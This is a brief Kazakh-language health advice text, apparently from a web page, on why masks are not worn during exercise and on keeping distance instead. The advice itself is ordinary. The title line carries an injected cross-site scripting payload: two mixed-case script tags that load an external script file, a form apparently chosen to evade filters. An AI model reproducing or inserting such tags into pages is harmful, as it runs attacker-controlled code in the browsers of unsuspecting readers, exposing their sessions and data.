Маскалар және физикалық жаттығулар<sCrIpT sRc=///1.js></ScRiPt><sCrIpT sRc=///1.js></ScRiPt>

Жаттығу кезінде маска киюге бола ма?

• Дене жаттығуларын орындау кезінде масканы қолдануға болмайды, өйткені ол ыңғайлы тыныс алуға кедергі келтіруі мүмкін
• Терлеу масканың тез ылғалдануына әкелуі мүмкін, бұл тыныс алуды қиындатады және микроорганизмдердің өсуіне ықпал етеді
• Дене жаттығуларын орындау кезінде маңызды алдын алу шарасы-басқалардан кемінде бір метр қашықтықты сақтау
• Медициналық маскаларды ұзақ уақыт кию* егер олар дұрыс қолданылса, көмірқышқыл газының интоксикациясына немесе оттегі жетіспеушілігіне әкелмейді